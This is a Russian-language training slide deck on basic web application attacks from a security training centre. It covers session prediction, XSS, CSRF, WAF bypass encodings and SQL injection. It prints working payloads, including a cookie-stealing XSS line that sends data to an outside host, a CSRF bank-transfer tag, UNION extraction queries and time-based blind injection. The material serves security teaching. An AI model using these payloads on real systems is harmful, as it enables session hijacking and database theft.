Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
Атаки на web-приложения
         Основы

      Лепихин Владимир
Учебный центр «Информзащита»
Разминка
Атаки на механизмы
  аутентификации
      Часть 1
Классификация
Компоненты web-приложения
Клиент

                    Сервер
                                СУБД
                  Приложений




    Web-сервер
Статистика




IBM X-Force 2011 Trend and Risk Report
Подбор



         Подбор
Варианты подбора

•   Подбор учётных данных
•   Подбор идентификатора сессии
•   Подбор названий директорий и файлов
•   Подбор критичных данных в полях ввода
Credential/session prediction

                Предсказание
                идентификационных
                данных сессии
Credential/session prediction

• Предсказание или угадывание уникального
  идентификатора сессии пользователя с
  целью перехвата текущей сессии или
  последующей работы с web-сервером от
  имени скомпрометированного
  пользователя
Credential/session prediction

• HTTP – Stateless протокол
• Для каждого запрашиваемого объекта
  создается собственная сессия TCP
• Аутентифицирована только текущая сессия
• На практике многие приложения требуют
  аутентификации нескольких соединений
Credential/session prediction

Идентификатор сессии сохраняется в поле
cookie, скрытых полях форм или URL. Если атакующий
имеет возможность определить
алгоритм, используемый для генерации
идентификатора сессии, он может :
• подключиться к серверу, используя текущий
  идентификатор сессии;
• вычислить или подобрать следующий
  идентификатор сессии;
• присвоить полученное значение идентификатора
  cookie/скрытому полю формы/URL.
Фиксация сессии




         Фиксация сессии
Фиксация сессии

Присвоение идентификатору сессии
пользователя фиксированного
значения, известного
злоумышленнику, обычно выполняется в три
стадии:
• Установление сессии
• Фиксация сессии
• Подключение к сессии
Практическая работа 1

Атаки на механизмы аутентификации:
• Подбор
• Перехват текущей сессии
Самое слабое звено

      Часть 2
Клиент – наименее защищённый
              компонент
Клиент

                    Сервер
                               СУБД
                  Приложений




    Web-сервер
Подмена содержимого

           Подмена
           содержимого
Подмена содержимого

• Используя эту технику, злоумышленник
  заставляет пользователя поверить, что
  страницы сгенерированы Web-сервером, а
  не переданы из внешнего источника.
Подмена содержимого
• Некоторые Web-страницы создаются с использованием
  динамических источников HTML-кода.
• Например, расположение фрейма (<frame src="
  http://foo.example/file.html">) может передаваться в параметре
  URL(http://foo.example/page?frame_src=http://foo.example/file.ht
  ml ).
• Атакующий может заменить значение параметра "frame_src" на
  "frame_src= http://attacker.example/spoof.html". При
  отображении результирующей страницы в строке адреса
  браузера будет отображаться адрес сервера (foo.example), но
  так же на странице будет присутствовать внешнее
  содержимое, загруженное с сервера атакующего
  (attacker.example), замаскированное под легальный контент.
Подмена содержимого
• Если атакующий спровоцировал пользователя на
  переход по специально созданной ссылке, у
  пользователя может создаться впечатление, что он
  просматривает данные с сервера, в то время как
  часть их была сгенерирована злоумышленником.
• Таким образом, произойдет «дефейс» сайта
  http://foo.example на стороне
  пользователя, поскольку содержимое сервера будет
  загружено с сервера http://attacker.example. Эта
  атака так же может использоваться для создания
  ложных страниц, таких как формы ввода
  пароля, пресс-релизы и т.д.
Подмена содержимого

• Text only content spoofing
• Markup reflected content spoofing
Markup reflected content spoofing
              (пример)
• Web-сервер динамически формирует фреймы на
  странице с пресс-релизами компании.
• При переходе по ссылке
 http://foo.example/pr?pg=http://foo.example/pr/01012003.html
 загружается страница следующего содержания:
  <HTML>
  <FRAMESET COLS="100, *">
  <FRAME NAME="pr_menu" SRC="menu.html">
  <FRAME NAME="pr_content"
    SRC="http://foo.example/pr/01012003.html”>
  </FRAMESET>
  </HTML>
Markup reflected content spoofing
                 (пример)
• Фрейм "pr_content" отображает страницу, указанную в параметре "pg"
  HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на
  значение
  http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht
  ml и сервер не проводит проверки параметра "pg", результирующий
  HTML код будет иметь следующий вид:
        <HTML>
        <FRAMESET COLS="100, *">
        <FRAME NAME="pr_menu" SRC="menu.html">
        <FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html">
        </FRAMESET>
        </HTML>
• Для конечного пользователя содержимое, загруженное с сервера
  "attacker.example" будет выглядеть, как страница сервера "foo.example".
Межсайтовое выполнение сценариев
                  Межсайтовое
                  выполнение
                  сценариев
Межсайтовое выполнение сценариев

• Передача серверу HTML-кода, содержащего
  сценарии, которые впоследствии
  выполняются браузером клиента
• Переданный код исполняется в контексте
  безопасности (или зоне безопасности)
  уязвимого сервера
• Различают два варианта XSS:
  – Отражённый (non-persistent)
  – Сохранённый (persistent)
Отражённый вариант
                                                            Web-сервер
http://web/?search="><script>alert('XSS')</script>




                                           ...
                                           <tr>
                                            <td valign="center"><input class="inputtext" type="text"
                                           name="q“ value=""><script>alert('XSS')</script>"></td>
                                            <td valign="center"><input type="submit" class="inputbutton"
                                           value="Искать"></td>
                                           </tr>
                                           ...
Сохранённый вариант
         <script>
 alert(document.cookie)
         </script>




                                  <script>
                          alert(document.cookie)
                                 </script>
Использование

• Перехват сессии пользователя
• Доступ к данным в контексте браузера
• Перенаправление, подмена содержимого
Где встречается XSS?

• HTML-тэг
• Тело JavaScript/VBScript/etc (eq DOM-
  based)
• Код HTML
• Параметр тэга HTML
• Java/Flash приложения
• ActiveX
•…
Пример обнаружения и использования
 •   Возможный метод обнаружения уязвимости
     /?id="><script>alert(1)</script>

      – HTML-код возвращаемой страницы примет вид

      В параметре тега …<font size=""><script>alert(1)</script>"…

      В тексте …<p>"><script>alert(1)</script></p>…

      – В результате браузер выполнит JavaScript-код




 •   Пример практического использования:
     "><script src=http://host/script.js></script>
Пример обнаружения и использования
 •    Уязвимый HTML-код:
       …
       <IMG SRC="$filename">
       …
 • Эксплуатация:
       /?filename="onerror=alert('XSS');"
       /?filename="onerror=javascript:alert('XSS');"
       …
 • HTML-код возвращаемой страницы примет вид:
       …
       <IMG SRC=""onerror=alert('XSS');"">
       …
 • Пример практического использования:
 /?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(docu
      ment.cookie);"
Пример использования (DOM-based)
• Уязвимый код:
...
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring
    (document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
...
• Штатная работа сценария:
     /?default=Russia
     /?default=French
     …

• Эксплуатация:
   /?default=<script>alert(document.cookie)</script>
Как это работает?
                                                   Web-сервер
        3. Переход по ссылке




                 6. Работа с Web-приложением от
                 имени атакованного пользователя
                                                      1. fuzzing, поиск
      4. Выполнение исполняемого                      уязвимости
           кода в браузере пользователя



                           5. Например, передача
                           Web-сессии (cookies)




2. Передача «заряженной» ссылки:
    http://web/?search="><script>...</script>
Подделка HTTP-запросов
• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request
  Forgery, CSRF, XSRF)

   – сложности при автоматизированном обнаружении

   – Однако эта ошибка встречается в том или ином виде во многих
     веб-приложениях

   – Степень опасности уязвимости CSRF зависит от функций и
     задач, решаемых приложением
• Cross-Site Request Forgery – вид атаки, использующий функцию
  браузера по автоматической отправке идентификатора сессии с
  каждым GET/POST-запросом к веб-приложению
• Часто применяется связка XSS + CSRF
Как это работает?
                                                                                Интернет-форум
                                2. Пользователь посещает форум




                                 3. Браузер загружает картинку по адресу:
                                 http://ibanking/action?...

Интернет-банк
  (ibanking)




 4. Если сессия пользователя существует, то…
                                 1. Публикация сообщения:
                                 <img src=http://ibanking/action?account=12345&amount=500&for=54321>
Фильтры (WAF)
                                                        Нас атакуют!

http://server/?id=6329&print=Y                             Ахтунг!!!


                                 WAF           Webserver
http://server/?id=5351


http://server/?id=8234

                                                   Нормализация данных
                                                                Decode HTML entities (e.g. &#99;, &quot;, &#xAA;)
                                                                Escaped characters (e.g. t, 001, xAA, uAABB)
                                                                Null byte string termination
                                                                ...
                                                   Поиск сигнатуры
          http://server/?id=1+union+select...                    /(sel)(ect.+fr)(om)/is
          http://server/?id="><script>...                       /(uni)(on.+sel)(ect)/is
                                                                ...
          http://server/?id=/../../../etc/passwd
Методы обхода WAF
• Фундаментальные ограничения технологии

   – Неспособность полностью защитить Web-приложение от всех
     возможных уязвимостей
• Общие проблемы

   – балансировка между эффективностью фильтра и минимизацией
     ошибок блокировки легитимного трафика

   – Обработка возвращаемого клиенту трафика
• Уязвимости реализации

   – Технологии нормализации запроса

   – Использование новых техник эксплуатации уязвимостей в Web
     (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена
     null-byte и т.п.)
Методы обхода WAF
• Сохраненный вариант XSS
      В случае если удалось «протащить» XSS через фильтр, WAF не сможет
         воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)
      Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script>
      Эксплуатация: /?xss=500); alert(document.cookie);//


• DOM-based XSS
      Пример: <script> ... eval($_GET[xss]); ... </script>
      Эксплуатация: /?xss=document.cookie


•      Аналогичные проблемы наблюдаются у фильтров
    защиты от XSS на стороне клиента client-side (например, IE8)
Возможные способы кодирования
          JavaScript
Пример: <script>alert(1)</script>
Hex-кодирование (URL-представление)

       %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%
         69%70%74%3E
HTML-кодирование

       &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74
          ;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

       &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#4
         9&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62
UTF7
    +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
… UTF8, base64, escape-encoding (style), etc
Практическая работа 2

• Подмена содержимого
• Межсайтовое выполнение сценариев
• Расщепление запроса
Главная цель

   Часть 3
Доступ к данным
Клиент

                       Сервер
                                  СУБД
                     Приложений




    Web-сервер
Внедрение SQL-кода




        Внедрение SQL-кода
Внедрение SQL-кода

• Метод обхода логики приложения и
  получения непосредственного доступа к
  данным путем внедрения во входную
  информацию, обрабатываемую
  приложением, операторов языка SQL
Внедрение SQL-кода
  http://Server/inject.asp?id=1      select * from test where id=1




               inject.asp




 id = Request.querystring("id")
 SQL_query = "SELECT * FROM test where id="+id
 Set RS = MyConn.Execute(SQL_query)
Внедрение SQL-кода
http://Server/inject.asp?id=1;delete from test            select * from test where id=1;
                                                          delete from test




                                          inject.asp




                          id = Request.querystring("id")
                          SQL_query = "SELECT * FROM test where id="+id
                          Set RS = MyConn.Execute(SQL_query)
Ещё пример
                                                  Web-сервер        СУБД
http://web/?id=6329&print=Y




                               ….
                               SELECT * from news where id = 6329
                               ….
Ещё пример
                                                                  Web-сервер              СУБД
http://web/?id=6329+union+select+id,pwd,0+from...




                         ….
                         SELECT * from news where id = 6329 union select id,pwd,0 from…
                         ….
Последствия внедрения SQL-кода
•   Обход ограничений пользовательского ввода
•   Получение доступа к данным
•   Модификация данных
•   Получение доступа к файловой системе
Разновидности внедрения SQL-кода

• Обычное
• Слепое
  – Blind
  – Double Blind
Обычное внедрение SQL-кода
•   Обнаружение уязвимости

    /?id=1+ORDER+BY+100

     –   SQL запрос примет вид

     SELECT id, name from table where id =1 ORDER BY 100

     –   В результате может быть получено следующее сообщение об ошибке

      ERROR 1054 (42S22): Unknown column '100' in 'order clause'
•   Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных
    из найденных таблиц
    /?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

     –   SQL запрос примет вид

     SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from
         information_schema.columns

     –   В результате может быть получена требуемая информация в формате

     | 0 | table1:column1 |
     | 0 | table1:column2 |
SQL Injection – Различия СУБД
                                  MySQL           MSSQL       MS Access   Oracle         DB2          PostgreSQL

                                                                                      '' concat ''
                                  concat(,)
  Объединение строк           concat_ws(delim,)
                                                    ' '+' '    " "&" "     ' '||' '      " "+" "         ' '||' '
                                                                                           ' '||' '

     Комментарии                 -- и /**/ и #     -- и /*      Нет       -- и /*          --           -- и /*

     Объединение
                                    union         union и ;     union     union         union          union и ;
      запросов
      Подзапросы                   v.4.1 >=          Да         Нет         Да            Да              Да

Хранимые процедуры                   Нет             Да         Нет         Да           Нет              Да

          Наличие
 information_schema или его        v.5.0 >=          Да          Да         Да            Да              Да
           аналога


Особенности эксплуатации для разных СУБД
Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3
Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
SQL Injection – Различия СУБД
•   MySQL 4.1>=
     – Первая запись
     /?id=1 union select name,123 from users limit 0,1
     – Вторая запись
     /?id=1 union select name,123 from users limit 1,1

•   MSSQL
     – Первая запись
     /?id=1 union select table_name,123 from (select row_number() over (order by name) as
         rownum, name from users) as t where t.rownum=1
     – Вторая запись
     /?id=1 union select table_name,123 from (select row_number() over (order by name) as
         rownum, name from users) as t where t.rownum=2

•   PostgreSQL
     – Первая запись
     /?id=1 union select name, null from users limit 1 offset 0
     – Вторая запись
     /?id=1 union select name, null from users limit 1 offset 1

     ИЛИ
     – Первая запись
     /?id=1; select name, 123 from users limit 1 offset 0
     – Вторая запись
     /?id=1; select name, 123 from users limit 1 offset 1
Blind SQL Injection
• Главная сложность: отсутствует сообщение
  об ошибке
• Эксплуатируя уязвимость SQL Injection
  «слепым» методом, атакующий
  манипулирует логикой работы приложения
  (true/false)
Способы обнаружения
             Blind SQL-инъекций
http://site/?param=-1 OR 1=1
http://site/?param=-1 OR 1=1--
...
http://site/?param=-1'
http://site/?param=-1' AND 1=2
...
http://site/?param=-1' OR '1'='1
...
http://site/?param=-1"/*
...
http://site/?param=2
http://site/?param=1
http://site/?param=2-1
...
http://site/?param=1' AND 1=1
http://site/?param=1' AND '1'='1
…
Способы использования
            Blind SQL-инъекций
• Подбор первого символа у первой записи в таблице
  /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
  ,1),1,1))=97,555,777)

   – SQL запрос примет вид

   SELECT id, name from table where id =1 AND
     555=if(ord(mid((select pass from users limit
     0,1),1,1))=97,555,777)

   – В случае, если таблица «users» содержит колонку
     «pass» и первый символ первой записи этой колонки
     равен 97 (символ «a») то, СУБД вернет TRUE. В
     противном случае – FALSE.
Способы использования
            Blind SQL-инъекций
• Подбор второго символа у первой записи в таблице
  /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
  ,1),2,1))=97,555,777)

   – SQL запрос примет вид

   SELECT id, name from table where id =1 AND
     555=if(ord(mid((select pass from users limit
     0,1),2,1))=97,555,777)

   – В случае, если таблица «users» содержит колонку
     «pass» и первый символ первой записи этой колонки
     равен 97 (символ «a») то, СУБД вернет TRUE. В
     противном случае – FALSE.
Double Blind SQL Injection
• Эксплуатация уязвимости Double Blind SQL Injection
  основана на временных задержках

• Для повышения быстродействия можно ограничить набор
  подбираемых символов.
• Классическая реализация:
  /?id=1+AND+if((ascii(lower(substring((select password from user limit
  0,1),0,1))))=97,1,benchmark(2000000,md5(now())))

    – На основе временной задержки ответа от web-сервера можно
      сделать вывод, что подбираемый символ угадан

    – Манипулируя со значением 2000000, можно добиться
      приемлемой скорости под конкретное приложение

    – Аналог benchmark() - sleep(). Функция sleep() является более
      безопасной для подобных целей, т.к. не использует процессорные
      ресурсы сервера
Практическая работа 3

• Внедрение SQL-кода

More Related Content

Атаки на web-приложения. Основы

  • 1. Атаки на web-приложения Основы Лепихин Владимир Учебный центр «Информзащита»
  • 2. Разминка Атаки на механизмы аутентификации Часть 1
  • 4. Компоненты web-приложения Клиент Сервер СУБД Приложений Web-сервер
  • 6. Подбор Подбор
  • 7. Варианты подбора • Подбор учётных данных • Подбор идентификатора сессии • Подбор названий директорий и файлов • Подбор критичных данных в полях ввода
  • 8. Credential/session prediction Предсказание идентификационных данных сессии
  • 9. Credential/session prediction • Предсказание или угадывание уникального идентификатора сессии пользователя с целью перехвата текущей сессии или последующей работы с web-сервером от имени скомпрометированного пользователя
  • 10. Credential/session prediction • HTTP – Stateless протокол • Для каждого запрашиваемого объекта создается собственная сессия TCP • Аутентифицирована только текущая сессия • На практике многие приложения требуют аутентификации нескольких соединений
  • 11. Credential/session prediction Идентификатор сессии сохраняется в поле cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может : • подключиться к серверу, используя текущий идентификатор сессии; • вычислить или подобрать следующий идентификатор сессии; • присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.
  • 12. Фиксация сессии Фиксация сессии
  • 13. Фиксация сессии Присвоение идентификатору сессии пользователя фиксированного значения, известного злоумышленнику, обычно выполняется в три стадии: • Установление сессии • Фиксация сессии • Подключение к сессии
  • 14. Практическая работа 1 Атаки на механизмы аутентификации: • Подбор • Перехват текущей сессии
  • 16. Клиент – наименее защищённый компонент Клиент Сервер СУБД Приложений Web-сервер
  • 17. Подмена содержимого Подмена содержимого
  • 18. Подмена содержимого • Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.
  • 19. Подмена содержимого • Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. • Например, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL(http://foo.example/page?frame_src=http://foo.example/file.ht ml ). • Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". При отображении результирующей страницы в строке адреса браузера будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
  • 20. Подмена содержимого • Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником. • Таким образом, произойдет «дефейс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.
  • 21. Подмена содержимого • Text only content spoofing • Markup reflected content spoofing
  • 22. Markup reflected content spoofing (пример) • Web-сервер динамически формирует фреймы на странице с пресс-релизами компании. • При переходе по ссылке http://foo.example/pr?pg=http://foo.example/pr/01012003.html загружается страница следующего содержания: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://foo.example/pr/01012003.html”> </FRAMESET> </HTML>
  • 23. Markup reflected content spoofing (пример) • Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht ml и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид: <HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html"> </FRAMESET> </HTML> • Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".
  • 24. Межсайтовое выполнение сценариев Межсайтовое выполнение сценариев
  • 25. Межсайтовое выполнение сценариев • Передача серверу HTML-кода, содержащего сценарии, которые впоследствии выполняются браузером клиента • Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера • Различают два варианта XSS: – Отражённый (non-persistent) – Сохранённый (persistent)
  • 26. Отражённый вариант Web-сервер http://web/?search="><script>alert('XSS')</script> ... <tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td> </tr> ...
  • 27. Сохранённый вариант <script> alert(document.cookie) </script> <script> alert(document.cookie) </script>
  • 28. Использование • Перехват сессии пользователя • Доступ к данным в контексте браузера • Перенаправление, подмена содержимого
  • 29. Где встречается XSS? • HTML-тэг • Тело JavaScript/VBScript/etc (eq DOM- based) • Код HTML • Параметр тэга HTML • Java/Flash приложения • ActiveX •…
  • 30. Пример обнаружения и использования • Возможный метод обнаружения уязвимости /?id="><script>alert(1)</script> – HTML-код возвращаемой страницы примет вид В параметре тега …<font size=""><script>alert(1)</script>"… В тексте …<p>"><script>alert(1)</script></p>… – В результате браузер выполнит JavaScript-код • Пример практического использования: "><script src=http://host/script.js></script>
  • 31. Пример обнаружения и использования • Уязвимый HTML-код: … <IMG SRC="$filename"> … • Эксплуатация: /?filename="onerror=alert('XSS');" /?filename="onerror=javascript:alert('XSS');" … • HTML-код возвращаемой страницы примет вид: … <IMG SRC=""onerror=alert('XSS');""> … • Пример практического использования: /?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(docu ment.cookie);"
  • 32. Пример использования (DOM-based) • Уязвимый код: ... <select><script> document.write("<OPTION value=1>"+document.location.href.substring (document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> ... • Штатная работа сценария: /?default=Russia /?default=French … • Эксплуатация: /?default=<script>alert(document.cookie)</script>
  • 33. Как это работает? Web-сервер 3. Переход по ссылке 6. Работа с Web-приложением от имени атакованного пользователя 1. fuzzing, поиск 4. Выполнение исполняемого уязвимости кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 2. Передача «заряженной» ссылки: http://web/?search="><script>...</script>
  • 34. Подделка HTTP-запросов • Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF) – сложности при автоматизированном обнаружении – Однако эта ошибка встречается в том или ином виде во многих веб-приложениях – Степень опасности уязвимости CSRF зависит от функций и задач, решаемых приложением • Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению • Часто применяется связка XSS + CSRF
  • 35. Как это работает? Интернет-форум 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу: http://ibanking/action?... Интернет-банк (ibanking) 4. Если сессия пользователя существует, то… 1. Публикация сообщения: <img src=http://ibanking/action?account=12345&amount=500&for=54321>
  • 36. Фильтры (WAF) Нас атакуют! http://server/?id=6329&print=Y Ахтунг!!! WAF Webserver http://server/?id=5351 http://server/?id=8234 Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. t, 001, xAA, uAABB) Null byte string termination ... Поиск сигнатуры http://server/?id=1+union+select... /(sel)(ect.+fr)(om)/is http://server/?id="><script>... /(uni)(on.+sel)(ect)/is ... http://server/?id=/../../../etc/passwd
  • 37. Методы обхода WAF • Фундаментальные ограничения технологии – Неспособность полностью защитить Web-приложение от всех возможных уязвимостей • Общие проблемы – балансировка между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика – Обработка возвращаемого клиенту трафика • Уязвимости реализации – Технологии нормализации запроса – Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)
  • 38. Методы обхода WAF • Сохраненный вариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки • Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript) Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script> Эксплуатация: /?xss=500); alert(document.cookie);// • DOM-based XSS Пример: <script> ... eval($_GET[xss]); ... </script> Эксплуатация: /?xss=document.cookie • Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)
  • 39. Возможные способы кодирования JavaScript Пример: <script>alert(1)</script> Hex-кодирование (URL-представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72% 69%70%74%3E HTML-кодирование &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74 ;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#4 9&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- … UTF8, base64, escape-encoding (style), etc
  • 40. Практическая работа 2 • Подмена содержимого • Межсайтовое выполнение сценариев • Расщепление запроса
  • 41. Главная цель Часть 3
  • 42. Доступ к данным Клиент Сервер СУБД Приложений Web-сервер
  • 43. Внедрение SQL-кода Внедрение SQL-кода
  • 44. Внедрение SQL-кода • Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением, операторов языка SQL
  • 45. Внедрение SQL-кода http://Server/inject.asp?id=1 select * from test where id=1 inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  • 46. Внедрение SQL-кода http://Server/inject.asp?id=1;delete from test select * from test where id=1; delete from test inject.asp id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query)
  • 47. Ещё пример Web-сервер СУБД http://web/?id=6329&print=Y …. SELECT * from news where id = 6329 ….
  • 48. Ещё пример Web-сервер СУБД http://web/?id=6329+union+select+id,pwd,0+from... …. SELECT * from news where id = 6329 union select id,pwd,0 from… ….
  • 49. Последствия внедрения SQL-кода • Обход ограничений пользовательского ввода • Получение доступа к данным • Модификация данных • Получение доступа к файловой системе
  • 50. Разновидности внедрения SQL-кода • Обычное • Слепое – Blind – Double Blind
  • 51. Обычное внедрение SQL-кода • Обнаружение уязвимости /?id=1+ORDER+BY+100 – SQL запрос примет вид SELECT id, name from table where id =1 ORDER BY 100 – В результате может быть получено следующее сообщение об ошибке ERROR 1054 (42S22): Unknown column '100' in 'order clause' • Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц /?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns – SQL запрос примет вид SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns – В результате может быть получена требуемая информация в формате | 0 | table1:column1 | | 0 | table1:column2 |
  • 52. SQL Injection – Различия СУБД MySQL MSSQL MS Access Oracle DB2 PostgreSQL '' concat '' concat(,) Объединение строк concat_ws(delim,) ' '+' ' " "&" " ' '||' ' " "+" " ' '||' ' ' '||' ' Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /* Объединение union union и ; union union union union и ; запросов Подзапросы v.4.1 >= Да Нет Да Да Да Хранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его v.5.0 >= Да Да Да Да Да аналога Особенности эксплуатации для разных СУБД Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
  • 53. SQL Injection – Различия СУБД • MySQL 4.1>= – Первая запись /?id=1 union select name,123 from users limit 0,1 – Вторая запись /?id=1 union select name,123 from users limit 1,1 • MSSQL – Первая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=1 – Вторая запись /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=2 • PostgreSQL – Первая запись /?id=1 union select name, null from users limit 1 offset 0 – Вторая запись /?id=1 union select name, null from users limit 1 offset 1 ИЛИ – Первая запись /?id=1; select name, 123 from users limit 1 offset 0 – Вторая запись /?id=1; select name, 123 from users limit 1 offset 1
  • 54. Blind SQL Injection • Главная сложность: отсутствует сообщение об ошибке • Эксплуатируя уязвимость SQL Injection «слепым» методом, атакующий манипулирует логикой работы приложения (true/false)
  • 55. Способы обнаружения Blind SQL-инъекций http://site/?param=-1 OR 1=1 http://site/?param=-1 OR 1=1-- ... http://site/?param=-1' http://site/?param=-1' AND 1=2 ... http://site/?param=-1' OR '1'='1 ... http://site/?param=-1"/* ... http://site/?param=2 http://site/?param=1 http://site/?param=2-1 ... http://site/?param=1' AND 1=1 http://site/?param=1' AND '1'='1 …
  • 56. Способы использования Blind SQL-инъекций • Подбор первого символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),1,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  • 57. Способы использования Blind SQL-инъекций • Подбор второго символа у первой записи в таблице /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0 ,1),2,1))=97,555,777) – SQL запрос примет вид SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),2,1))=97,555,777) – В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.
  • 58. Double Blind SQL Injection • Эксплуатация уязвимости Double Blind SQL Injection основана на временных задержках • Для повышения быстродействия можно ограничить набор подбираемых символов. • Классическая реализация: /?id=1+AND+if((ascii(lower(substring((select password from user limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now()))) – На основе временной задержки ответа от web-сервера можно сделать вывод, что подбираемый символ угадан – Манипулируя со значением 2000000, можно добиться приемлемой скорости под конкретное приложение – Аналог benchmark() - sleep(). Функция sleep() является более безопасной для подобных целей, т.к. не использует процессорные ресурсы сервера
  • 59. Практическая работа 3 • Внедрение SQL-кода